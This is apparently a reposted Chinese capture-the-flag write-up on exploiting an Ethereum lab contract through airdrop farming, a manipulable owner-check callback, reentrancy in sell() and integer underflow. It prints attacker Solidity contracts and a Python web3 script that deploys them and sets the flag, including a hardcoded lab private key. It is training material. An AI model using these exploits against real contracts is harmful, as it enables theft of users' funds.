某60区块链安全之薅羊毛攻击实战二学习记录

2023-12-02 06:44

本文主要是介绍某60区块链安全之薅羊毛攻击实战二学习记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

区块链安全

`

文章目录

  • 区块链安全
  • 薅羊毛攻击实战二
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验内容
    • 薅羊毛攻击实战二 实验步骤
    • EXP利用

薅羊毛攻击实战二

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约复杂场景下薅羊毛攻击漏洞及其利用
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。
一般实际场景比较复杂,所以需综合利用各个漏洞与薅羊毛攻击。

实验内容

合约中内置了多种漏洞和潜在的薅羊毛攻击问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10010

薅羊毛攻击实战二 实验步骤

获取合约地址和合约源代码
nc ip 10010连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述
在这里插入图片描述

nc ip 10010连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10010连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞

pragma solidity ^0.4.23;interface Changing {function isOwner(address) view public returns (bool);
}contract ETH10 {address private owner;mapping(address => uint) public balanceOf;mapping(address => bool) public status;mapping(address => uint) public buyTimes;bool public flag;constructor() payable {owner = msg.sender;}modifier onlyOwner(){require(msg.sender == owner);_;}function payforflag() onlyOwner public {require(buyTimes[msg.sender] >= 100);flag = true;}function change(address _owner) public {Changing tmp = Changing(msg.sender);if(!tmp.isOwner(_owner)){status[msg.sender] = tmp.isOwner(_owner);}}function change_Owner() public {require(tx.origin != msg.sender);if(status[msg.sender] == true){status[msg.sender] = false;owner = msg.sender;}}function _transfer(address _from, address _to, uint _value) internal {require(_to != address(0x0));require(_value > 0);uint256 oldFromBalance = balanceOf[_from];uint256 oldToBalance = balanceOf[_to];uint256 newFromBalance =  balanceOf[_from] - _value;uint256 newToBalance =  balanceOf[_to] + _value;require(oldFromBalance >= _value);require(newToBalance > oldToBalance);balanceOf[_from] = newFromBalance;balanceOf[_to] = newToBalance;assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));}function transfer(address _to, uint256 _value) public returns (bool success) {_transfer(msg.sender, _to, _value); return true;}function buy() payable public returns (bool success){require(tx.origin != msg.sender);require(buyTimes[msg.sender]==0);require(balanceOf[msg.sender]==0);balanceOf[msg.sender] = 100;buyTimes[msg.sender] = 1;return true;}function sell(uint256 _amount) public returns (bool success){require(_amount >= 100);require(buyTimes[msg.sender] > 0);require(balanceOf[msg.sender] >= _amount);require(address(this).balance >= _amount);msg.sender.call.value(_amount)();_transfer(msg.sender, address(this), _amount);buyTimes[msg.sender] -= 1;return true;}function eth_balance() public view returns (uint256 ethBalance){return address(this).balance;}}

题目要求将合约中的flag变量设置为true
查看 payforflag ,我们需要成为 owner ,同时 buyTimes[msg.sender] >= 100
想要成为 owner ,可以通过 change_owner 函数实现:status[msg.sender] 要求为 true ,可以通过 change(address _owner) 解决,Changing 接口中声明了 isOwner 函数,用户可自行编写,要使 status[msg.sender] = true ,则 tmp.isOwner(_owner) 第一次调用需返回 false ,第二次调用返回 true ,所以就有了思路:设置一个初始值为 true 的变量,每次调用 isOwner()时,将其取反再返回。这样便满足了我们是 owner ,只需再满足 buyTimes[msg.sender] >= 100
发现只有 sell 函数,会有 buyTimes[msg.sender] -= 1 的操作,其实这是重入问题,这里需要满足 require(_amount >= 200) ,但是 buy 只能给 100 ,典型的薅羊毛问题,最后再利用整数下溢即可满足 buyTimes[msg.sender] >= 100

EXP利用

编写攻击合约attack1.sol和attack2.sol,将下述attack1和attack2合约中的ETH10地址替换成自己题目合约的地址,其中attack1合约主要包括四个功能:hack1函数用于成为owner和申领空投;hack2函数用于薅羊毛提高balanceOf[attack1];hack3函数用于利用2次重入触发整数溢出漏洞,使得buyTimes[msg.sender]=0-1变成一个很大的数,从而满足payforflag中buyTimes[msg.sender] >= 100的条件;hack4函数用于调用payforflag函数,设置flag为true

contract attack1 {ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);bool public flag = true;uint public have_sell = 0;function isOwner(address) public returns (bool){flag = !flag;return flag;}function hack1() public {target.change(address(this));target.change_Owner();target.buy();}function hack2() public {new attack2(address(this));}function hack3() public {target.sell(100);}function hack4() public {target.payforflag();}function() payable public {if (have_sell < 1) {have_sell += 1;target.sell(100);}}
}contract attack2 {ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);constructor(address addr) public {target.buy();target.transfer(addr,100);}
}

编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x94829A097f920307e33452a5c64AabE51f4fF976"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack1']# deploy attack1 in attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)time.sleep(5)# call hack1() in attack1
data = Web3.keccak(text='hack1()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack1() success")time.sleep(5)# call hack2() in attack1
data = Web3.keccak(text='hack2()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack2() success")time.sleep(5)# call hack3() in attack1
data = Web3.keccak(text='hack3()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack3() success")time.sleep(5)# call hack4() in attack1
data = Web3.keccak(text='hack4()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack4() success")

执行exp
在这里插入图片描述

nc ip 10010连接到题目,输入3,输入之前的new token,获取flag

在这里插入图片描述

这篇关于某60区块链安全之薅羊毛攻击实战二学习记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/444339

相关文章

从入门到进阶讲解Python自动化Playwright实战指南

《从入门到进阶讲解Python自动化Playwright实战指南》Playwright是针对Python语言的纯自动化工具,它可以通过单个API自动执行Chromium,Firefox和WebKit... 目录Playwright 简介核心优势安装步骤观点与案例结合Playwright 核心功能从零开始学习

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

Nginx安全防护的多种方法

《Nginx安全防护的多种方法》在生产环境中,需要隐藏Nginx的版本号,以避免泄漏Nginx的版本,使攻击者不能针对特定版本进行攻击,下面就来介绍一下Nginx安全防护的方法,感兴趣的可以了解一下... 目录核心安全配置1.编译安装 Nginx2.隐藏版本号3.限制危险请求方法4.请求限制(CC攻击防御)

Java docx4j高效处理Word文档的实战指南

《Javadocx4j高效处理Word文档的实战指南》对于需要在Java应用程序中生成、修改或处理Word文档的开发者来说,docx4j是一个强大而专业的选择,下面我们就来看看docx4j的具体使用... 目录引言一、环境准备与基础配置1.1 Maven依赖配置1.2 初始化测试类二、增强版文档操作示例2.

MySQL 多列 IN 查询之语法、性能与实战技巧(最新整理)

《MySQL多列IN查询之语法、性能与实战技巧(最新整理)》本文详解MySQL多列IN查询,对比传统OR写法,强调其简洁高效,适合批量匹配复合键,通过联合索引、分批次优化提升性能,兼容多种数据库... 目录一、基础语法:多列 IN 的两种写法1. 直接值列表2. 子查询二、对比传统 OR 的写法三、性能分析

Python办公自动化实战之打造智能邮件发送工具

《Python办公自动化实战之打造智能邮件发送工具》在数字化办公场景中,邮件自动化是提升工作效率的关键技能,本文将演示如何使用Python的smtplib和email库构建一个支持图文混排,多附件,多... 目录前言一、基础配置:搭建邮件发送框架1.1 邮箱服务准备1.2 核心库导入1.3 基础发送函数二、

PowerShell中15个提升运维效率关键命令实战指南

《PowerShell中15个提升运维效率关键命令实战指南》作为网络安全专业人员的必备技能,PowerShell在系统管理、日志分析、威胁检测和自动化响应方面展现出强大能力,下面我们就来看看15个提升... 目录一、PowerShell在网络安全中的战略价值二、网络安全关键场景命令实战1. 系统安全基线核查

Java 线程安全与 volatile与单例模式问题及解决方案

《Java线程安全与volatile与单例模式问题及解决方案》文章主要讲解线程安全问题的五个成因(调度随机、变量修改、非原子操作、内存可见性、指令重排序)及解决方案,强调使用volatile关键字... 目录什么是线程安全线程安全问题的产生与解决方案线程的调度是随机的多个线程对同一个变量进行修改线程的修改操

从原理到实战深入理解Java 断言assert

《从原理到实战深入理解Java断言assert》本文深入解析Java断言机制,涵盖语法、工作原理、启用方式及与异常的区别,推荐用于开发阶段的条件检查与状态验证,并强调生产环境应使用参数验证工具类替代... 目录深入理解 Java 断言(assert):从原理到实战引言:为什么需要断言?一、断言基础1.1 语

Java MQTT实战应用

《JavaMQTT实战应用》本文详解MQTT协议,涵盖其发布/订阅机制、低功耗高效特性、三种服务质量等级(QoS0/1/2),以及客户端、代理、主题的核心概念,最后提供Linux部署教程、Sprin... 目录一、MQTT协议二、MQTT优点三、三种服务质量等级四、客户端、代理、主题1. 客户端(Clien